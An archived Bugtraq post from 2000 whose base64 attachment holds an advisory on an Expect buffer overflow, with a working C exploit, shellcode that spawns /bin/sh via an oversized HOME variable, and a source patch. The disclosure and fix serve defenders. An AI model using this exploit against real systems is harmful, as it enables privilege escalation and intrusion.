[18116] in bugtraq
hhp's Expect advisory/exploit/patch.
daemon@ATHENA.MIT.EDU (Cody Tubbs.)
Mon Dec 18 15:46:16 2000
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="0-1730277045-976915700=:13694"
Message-Id: <20001215212820.13717.qmail@web10008.mail.yahoo.com>
Date: Fri, 15 Dec 2000 13:28:20 -0800
Reply-To: pigspigs@yahoo.com
From: "Cody Tubbs." <pigspigs@YAHOO.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
--0-1730277045-976915700=:13694
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
hhp-expect_adv#17.txt
__________________________________________________
Do You Yahoo!?
Yahoo! Shopping - Thousands of Stores. Millions of Products.
http://shopping.yahoo.com/
--0-1730277045-976915700=:13694
Content-Type: application/x-unknown; name="hhp-expect_adv#17.txt"
Content-Transfer-Encoding: base64
Content-Description: hhp-expect_adv#17.txt
Content-Disposition: attachment; filename="hhp-expect_adv#17.txt"
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpoaHAgYWR2LTE3
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNl
Yy1BZHZpc29yeS9FeHBsb2l0L1BhdGNoCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICB3d3cuaGhwLXByb2dyYW1taW5nLm5ldAotLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tClRvcGljOiAgICAgRXhwZWN0LgpWZXJz
aW9uczogIDUuMzEuOCBhbmQgNS4yOC4xLCBtYXliZSBvdGhlcnMuCkRhdGU6
ICAgICAgMTIvMTIvMjAwMApQbGF0Zm9ybXM6IFRlc3RlZCBvbiBTbGFja3dh
cmUgTGludXggNy54LCBtYXliZSBvdGhlcnMuCkF1dGhvcnM6ICAgUmVhZCBj
cmVkaXRzLgotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tClRI
SVMgIEFEVklTT1JZIElTIEJBU0VEIFVQT04gU0VMRiBURVNUSU5HIFJFU1VM
VFMuICBXRSBETyBOT1QgR0FSQVVOVEVFIFRIRSBJTi0KRk9STUFUSU9OIFNU
QVRFRCBCRUxPVyBXSUxMIEJFIENPUlJFQ1QgSU4gQUxMIFNJVFVBVElPTlMu
CgoKMSkgQkFDS0dST1VORAoKLSBFeHBlY3QuCiAgRXhwZWN0ICBpcyBhIHBy
b2dyYW0gdG8gY29udHJvbCBpbnRlcmFjdGl2ZSBhcHBsaWNhdGlvbnMuICBU
aGVzZSBhcHBsaWNhdGlvbnMKICBpbnRlcmFjdGl2ZWx5ICBwcm9tcHQgYW5k
IGV4cGVjdCBhIHVzZXIgdG8gZW50ZXIga2V5c3Ryb2tlcyBpbiByZXNwb25z
ZS4gICBCeQogIHVzaW5nICBFeHBlY3QsICB5b3UgIGNhbiB3cml0ZSBzaW1w
bGUgc2NyaXB0cyB0byBhdXRvbWF0ZSB0aGVzZSBpbnRlcmFjdGlvbnMuCgoK
MikgT1ZFUlZJRVcgCgotIEl0ICBpcyBwb3NzaWJsZSB0byBjYXVzZSBFeHBl
Y3QgdG8gc2VnZmF1bHQgZHVlIHRvIGltcHJvcHBlciBib3VuZHMgY2hlY2tp
bmcuCiAgRUlQICBjYW4gIHRoZW4gYmUgb3ZlcndyaXR0ZW4gYW5kIHRoZSBm
bG93IG9mIGV4ZWN1dGlvbiBjaGFuZ2VkLiAgSXQgaXMgcG9zcy0KICBpYmxl
ICB0byBleHBsb2l0IGFueSBzY3JpcHQgdGhhdCB1c2VzIHRoZSB0aGUgRXhw
ZWN0IHByb2dyYW0oU2NyaXB0aW5nIGxhbmcpLgoKCjMpIFNFVEJBQ0sKCi0g
SWYgIGFuICBFeGVjcHQgc2NyaXB0IGlzIHN1aWQvc2dpZCBpdCBtb3N0IGxp
a2VseSBpcyBub3QgcG9zc2libGUgdG8gZ2FpbiB0aGUKICBzZXQgIHByaXZs
ZWdlcyAgZHVlICB0byB0aGUgZXhlY3V0aW9uIG9mIEV4cGVjdCBiZWZvcmUg
YW55IHBlcm1pc3Npb24gY2hhbmdlcwogIHRha2UgZWZmZWN0LgoKCjQpIFJF
UFJPRFVDVElPTgoKLSBJZiAgYW4gIGFwcGxpY2F0aW9uICBpcyAgc3VpZC9z
Z2lkICBhbmQgc2V0cyB0aGUgZWZmZWN0aXZlIFVJRCBvciBHSUQgd2l0aG91
dAogIGNsZWFuc2luZyAgdGhlICBlbnZpcm9ubWVudCAgdGhlbiAgY2FsbHMg
dXBvbiBFeHBlY3Qgb3IgdmlhIGFuIEV4cGVjdCBzY3JpcHQsCiAgaXQgaXMg
cG9zc2libGUgdG8gZXhwbG9pdCB0aGUgRXhwZWN0IHNjcmlwdGluZyBpbnRl
cnByZXRlci4KICAKCjUpIEVYUExPSVQKCi0tLS0tLS0tLS0tLS0tLS0tLS0t
LSBTTklQIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0KLyogaGhwLWV4cGVjdF9zbWFzaC5jICgxMi8xMS8w
MCkKICoKICogZXhwZWN0ICgvdXNyL2Jpbi9leHBlY3QpIGJ1ZmZlciBvdmVy
Zmxvdy4KICogVGVzdGVkIDUuMzEuOCBhbmQgNS4yOC4xLCBzbGFja3dhcmUg
Ny54IChNYXliZSBvdGhlcnMpLgogKgogKiBCeTogaXNveAogKiBTaXRlOiB3
d3cuaGhwLXByb2dyYW1taW5nLm5ldAogKiBBZHZpc29yeTogd3d3LmhocC1w
cm9ncmFtbWluZy5uZXQvb3VyYWR2aXNvcmllcy9oaHAtZXhwZWN0X2FkdiUy
MzE3LnR4dAogKi8KCiNpbmNsdWRlIDxzdGRpby5oPgojaW5jbHVkZSA8c3Rk
bGliLmg+CgojZGVmaW5lIE5PUCAgICAgICAgICAgICAgICAgICAgIDB4OTAK
I2RlZmluZSBPRkZTRVQgICAgICAgICAgICAgICAgICAwCiNkZWZpbmUgQlVG
TEVOICAgICAgICAgICAgICAgICAgNDE2CiNkZWZpbmUgUkVUCQkJMHhiZmZm
ZjU4MCAgIC8qIFNsYWNrd2FyZSA3LjEgKi8KI2RlZmluZSBFWFBFQ1QgICAg
ICAgICAgICAgICAgICAiL3Vzci9iaW4vZXhwZWN0IgoKY2hhciBjb2RlW10g
PQogIlx4MzFceGMwXHgzMVx4ZGJceGIwXHgxN1x4Y2RceDgwXHg2Nlx4MzFc
eGMwXHg2Nlx4MzEiCiAiXHhkYlx4YjBceDJlXHhjZFx4ODBceGViXHgxZlx4
NWVceDg5XHg3Nlx4MDhceDMxXHhjMCIKICJceDg4XHg0Nlx4MDdceDg5XHg0
Nlx4MGNceGIwXHgwYlx4ODlceGYzXHg4ZFx4NGVceDA4IgogIlx4OGRceDU2
XHgwY1x4Y2RceDgwXHgzMVx4ZGJceDg5XHhkOFx4NDBceGNkXHg4MFx4ZTgi
CiAiXHhkY1x4ZmZceGZmXHhmZi9iaW4vc2hceDY5IjsKCnZvaWQgdXNhZ2Uo
Y2hhciAqYXJnKSB7CiAgZnByaW50ZihzdGRlcnIsICJcblVzYWdlOiAlcyBb
b2Zmc2V0IHVwL2Rvd25dIFtlaXBdXG5cbiIsIGFyZyk7CiAgZnByaW50Zihz
dGRlcnIsICJFeGFtcGxlczpcbiIpOwogIGZwcmludGYoc3RkZXJyLCAiXHQl
cyAzNDcgdXAgICAgICAgICAgICAgICAgIC09LSBEZWZhdWx0IEVJUCBpbmNy
ZWFzZWQgYnkgMzQ3IGJ5dGVzXG4iLCBhcmcpOwogIGZwcmludGYoc3RkZXJy
LCAiXHQlcyAzNDcgZG93biAgICAgICAgICAgICAgIC09LSBEZWZhdWx0IEVJ
UCBkZWNyZWFzZWQgYnkgMzQ3IGJ5dGVzXG4iLCBhcmcpOwogIGZwcmludGYo
c3RkZXJyLCAiXHQlcyA0MjkgdXAgMHglbHggICAgICAtPS0gRUlQIHNldCB0
byAweCVseCBhbmQgaW5jcmVhc2VkIGJ5IDQyOSBieXRlc1xuIiwgYXJnLCBS
RVQsIFJFVCArIDQyOSk7CiAgZnByaW50ZihzdGRlcnIsICJcdCVzIDQyOSBk
b3duIDB4JWx4ICAgIC09LSBFSVAgc2V0IHRvIDB4JWx4IGFuZCBkZWNyZWFz
ZWQgYnkgNDI5IGJ5dGVzXG5cbiIsIGFyZywgUkVULCBSRVQgLSA0MjkpOwog
IGV4aXQoMSk7Cn0KCgppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltd
KSB7CiAgY2hhciAqYnVmLCAqcDsKICBsb25nICphZGRyZXNzcCwgYWRkcmVz
czsKICBpbnQgb2Zmc2V0PU9GRlNFVDsKICBpbnQgaTsKCgogIGlmKChhcmdj
IDwgMykgfHwgKGFyZ2MgPiA0KSkKICAgIHVzYWdlKGFyZ3ZbMF0pOwoKICBp
ZihhcmdjID09IDMpIHsKICAgIGlmKCFzdHJjbXAoYXJndlsyXSwgInVwIikp
IHsKICAgICAgYWRkcmVzcyA9IFJFVCArIGF0b2koYXJndlsxXSk7CiAgICAg
IHByaW50ZigiSW5jcmVhc2luZyBvZmZzZXQgYnk6ICVkXG4iLCBhdG9pKGFy
Z3ZbMV0pKTsKICAgICAgcHJpbnRmKCJJbmNyZWFzaW5nIEVJUCB0bzogMHgl
eFxuXG4iLCBSRVQgKyBhdG9pKGFyZ3ZbMV0pKTsKICAgIH0KCiAgICBpZigh
c3RyY21wKGFyZ3ZbMl0sICJkb3duIikpIHsKICAgICAgYWRkcmVzcyA9IFJF
VCAtIGF0b2koYXJndlsxXSk7CiAgICAgIHByaW50ZigiRGVjcmVhc2luZyBv
ZmZzZXQgYnk6ICVkXG4iLCBhdG9pKGFyZ3ZbMV0pKTsKICAgICAgcHJpbnRm
KCJEZWNyZWFzaW5nIEVJUCB0bzogMHgleFxuXG4iLCBSRVQgLSBhdG9pKGFy
Z3ZbMV0pKTsKICAgIH0KICB9CgogIGlmKGFyZ2MgPj0gNCkgewogICAgaWYo
IXN0cmNtcChhcmd2WzJdLCAidXAiKSkgewogICAgICBhZGRyZXNzID0gc3Ry
dG91bChhcmd2WzNdLCBOVUxMLCAxNikgKyBhdG9pKGFyZ3ZbMV0pOwogICAg
ICBwcmludGYoIlNldHRpbmcgRUlQIHRvOiAweCV4XG4iLCBzdHJ0b3VsKGFy
Z3ZbM10sIE5VTEwsIDE2KSk7CiAgICAgIHByaW50ZigiSW5jcmVhc2luZyBv
ZmZzZXQgYnk6ICVkXG4iLCBhdG9pKGFyZ3ZbMV0pKTsKICAgICAgcHJpbnRm
KCJJbmNyZWFzaW5nIEVJUCB0bzogMHgleFxuXG4iLCAoc3RydG91bChhcmd2
WzNdLCBOVUxMLCAxNikgKyBhdG9pKGFyZ3ZbMV0pKSk7CiAgICB9CiAgICBp
Zighc3RyY21wKGFyZ3ZbMl0sICJkb3duIikpIHsKICAgICAgYWRkcmVzcyA9
IHN0cnRvdWwoYXJndlszXSwgTlVMTCwgMTYpICsgYXRvaShhcmd2WzFdKTsK
ICAgICAgcHJpbnRmKCJTZXR0aW5nIEVJUCB0bzogMHgleFxuIiwgc3RydG91
bChhcmd2WzNdLCBOVUxMLCAxNikpOwogICAgICBwcmludGYoIkRlY3JlYXNp
bmcgb2Zmc2V0IGJ5OiAlZFxuIiwgYXRvaShhcmd2WzFdKSk7CiAgICAgIHBy
aW50ZigiRGVjcmVhc2luZyBFSVAgdG86IDB4JXhcblxuIiwgKHN0cnRvdWwo
YXJndlszXSwgTlVMTCwgMTYpIC0gYXRvaShhcmd2WzFdKSkpOwogICAgfQog
IH0KCgogIGlmICghKGJ1ZiA9IChjaGFyICopbWFsbG9jKEJVRkxFTikpKSB7
CiAgICBwcmludGYoIkNhbid0IGFsbG9jYXRlIG1lbW9yeS5cbiIpOwogICAg
ZXhpdCgtMSk7CiAgfQoKICBwID0gYnVmOwogIGFkZHJlc3NwID0gKGxvbmcg
KikgcDsKCiAgZm9yIChpID0gMDsgaSA8IEJVRkxFTjsgaSs9NCkgewogICAg
KihhZGRyZXNzcCsrKSA9IGFkZHJlc3M7CiAgfQoKICBmb3IgKGkgPSAwOyBp
IDwgKEJVRkxFTiAtIHN0cmxlbihjb2RlKSAtIDQpOyBpKyspIHsKICAgIGJ1
ZltpXSA9IE5PUDsKICB9CgogIHAgPSBidWYgKyAoQlVGTEVOIC0gc3RybGVu
KGNvZGUpIC0gNCk7CgogIGZvciAoaSA9IDA7IGkgPCBzdHJsZW4oY29kZSk7
IGkrKykKICAgICoocCsrKSA9IGNvZGVbaV07CgogIGJ1ZltCVUZMRU5dID0g
J1wwJzsKCgogIHNldGVudigiSE9NRSIsIGJ1ZiwgMSk7CiAgc3lzdGVtKEVY
UEVDVCk7Cn0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tIFNOQVAgLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoK
CjYpIFNPTFVUSU9OCgogLSBBcHBseSAgdGhpcyAgcGF0Y2ggIG1hZGUgIGFu
ZCB0ZXN0ZWQgb24gdmVyc2lvbiA1LjMxLjguICBUbyBhcHBseSB0aGUgcGF0
Y2gsCiAgIHRha2UgIHRoaXMgIHNuaXBwZXQgb3V0IGFuZCBuYW1lIGl0IGho
cC1leHBlY3QucGF0Y2ggaW4gdGhlIGV4cGVjdC01LjMxIGRpci0KICAgZWN0
b3J5LiAgIFRoZW4gIHR5cGUuLi4gICdwYXRjaCAtcDEgPCBoaHAtZXhwZWN0
LnBhdGNoJyAgYW5kICBmaW5pc2ggIHdpdGggYQogICAnbWFrZScgYW5kIGEg
J21ha2UgaW5zdGFsbCcKCi0tLS0tLS0tLS0tLS0tLS0tLS0tLSBTTklQIC0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0KLS0tIG9sZC9leHBfbWFpbl9zdWIuYyAgU3VuIERlYyAxNyAwNDow
MTo1MCAyMDAwCisrKyBuZXcvZXhwX21haW5fc3ViLmMgIFN1biBEZWMgMTcg
MDQ6MDI6NDYgMjAwMApAQCAtNzYxLDE0ICs3NjEsMTQgQEAKICAgICAgICAg
ICAgfQogICAgICAgIH0KICAgICAgICBpZiAobXlfcmMpIHsKLSAgICAgICAg
ICAgY2hhciBmaWxlWzIwMF07CisgICAgICAgICAgIGNoYXIgZmlsZVsyNTZd
OwogICAgICAgICAgICBjaGFyICpob21lOwogICAgICAgICAgICBpbnQgZmQ7
CiAgICAgICAgICAgIGNoYXIgKmdldGVudigpOwogICAgICAgICAgICBpZiAo
KE5VTEwgIT0gKGhvbWUgPSBnZXRlbnYoIkRPVERJUiIpKSkgfHwKICAgICAg
ICAgICAgICAgIChOVUxMICE9IChob21lID0gZ2V0ZW52KCJIT01FIikpKSkg
ewotICAgICAgICAgICAgICAgc3ByaW50ZihmaWxlLCIlcy8uZXhwZWN0LnJj
Iixob21lKTsKKyAgICAgICAgICAgICAgIHNucHJpbnRmKGZpbGUsIDI1Ni0x
LCAiJXMvLmV4cGVjdC5yYyIsIGhvbWUpOyAvLyBUZW1wb3JhcnkgZml4Lgog
ICAgICAgICAgICAgICAgaWYgKC0xICE9IChmZCA9IG9wZW4oZmlsZSwwKSkp
IHsKICAgICAgICAgICAgICAgICAgICBpZiAoVENMX0VSUk9SID09IChyYyA9
IFRjbF9FdmFsRmlsZShpbnRlcnAsZmlsZSkpKSB7CiAgICAgICAgICAgICAg
ICAgICAgICAgIGV4cEVycm9yTG9nKCJlcnJvciBleGVjdXRpbmcgZmlsZTog
JXNcclxuIixmaWxlKTsKCi0tLS0tLS0tLS0tLS0tLS0tLS0tLSBTTkFQIC0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0KCgo3KSBDUkVESVRTCgogLSBCZW4gTHVsbCAoaXNveCkgKHBsaXhA
Y2hhaW5zYXdiZWVyLmNvbSkgICAgLSBCdWcgZmluZGluZywgZXhwbG9pdCwg
dGVzdGluZy4KIC0gQ29keSBUdWJicyAobG9vcGhvbGUpIChwaWdzcGlnc0B5
YWhvby5jb20pIC0gQWR2aXNvcnksIHBhdGNoLCB0ZXN0aW5nLgo=
--0-1730277045-976915700=:13694--
